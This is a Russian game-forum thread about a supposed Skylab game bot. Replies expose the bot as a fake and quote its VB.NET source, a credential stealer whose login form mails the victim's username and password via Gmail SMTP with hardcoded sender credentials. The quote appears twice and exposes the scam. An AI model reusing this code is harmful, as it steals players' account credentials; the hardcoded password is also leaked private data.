С помощью каких программ можно реализовать автотрансфер сырья скайлеб + продажа. Просто за 2500 промериума дают 2 ляма Явно быстрее чем мобов мочить. Заранее спасибо.)
Ну почему же возможно??? Не возможно, а обязательно!!!! Опять кривой фейк, по моему за 10 рублей купленный... Читаем исходные коды данного скайлеб-бота и наслаждаемся...
Цитата:
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If (Me.TextBox1.Text = "") Then
Interaction.MsgBox("Username Is Missing", MsgBoxStyle.OkOnly, Nothing)
If (Me.TextBox2.Text = "") Then
Interaction.MsgBox("Password Is Mising", MsgBoxStyle.OkOnly, Nothing)
End If
End If
Dim smtpServer As New SmtpClient
Dim mail As New MailMessage smtpServer.Credentials = New NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "1425368aa")
smtpServer.Port = &H24B
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage mail.From = New MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]")
mail.To.Add("[Ссылки могут видеть только зарегистрированные пользователи. ]")
mail.Subject = ("Username: " & Me.TextBox1.Text)
mail.Body = ("Username : " & Me.TextBox1.Text & ", Password : " & Me.TextBox2.Text)
smtpServer.Send(mail)
Interaction.MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.OkOnly, Nothing)
End Sub
Ну почему же возможно??? Не возможно, а обязательно!!!! Опять кривой фейк, по моему за 10 рублей купленный... Читаем исходные коды данного скайлеб-бота и наслаждаемся...
Цитата:
Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If (Me.TextBox1.Text = "") Then
Interaction.MsgBox("Username Is Missing", MsgBoxStyle.OkOnly, Nothing)
If (Me.TextBox2.Text = "") Then
Interaction.MsgBox("Password Is Mising", MsgBoxStyle.OkOnly, Nothing)
End If
End If
Dim smtpServer As New SmtpClient
Dim mail As New MailMessage
smtpServer.Credentials = New NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "1425368aa")
smtpServer.Port = &H24B
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage
mail.From = New MailAddress("[Ссылки могут видеть только зарегистрированные пользователи. ]")
mail.To.Add("[Ссылки могут видеть только зарегистрированные пользователи. ]")
mail.Subject = ("Username: " & Me.TextBox1.Text)
mail.Body = ("Username : " & Me.TextBox1.Text & ", Password : " & Me.TextBox2.Text)
smtpServer.Send(mail)
Interaction.MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.OkOnly, Nothing)
End Sub
ахххахахаха)
меня улыбнуло вот это: smtpServer.Credentials = New NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "1425368aa")
ахххахахаха)
меня улыбнуло вот это: smtpServer.Credentials = New NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "1425368aa")
все равно - это только пароль от смтп сервера, от акка - другой, через этот акк только отправляется почта на мыло юры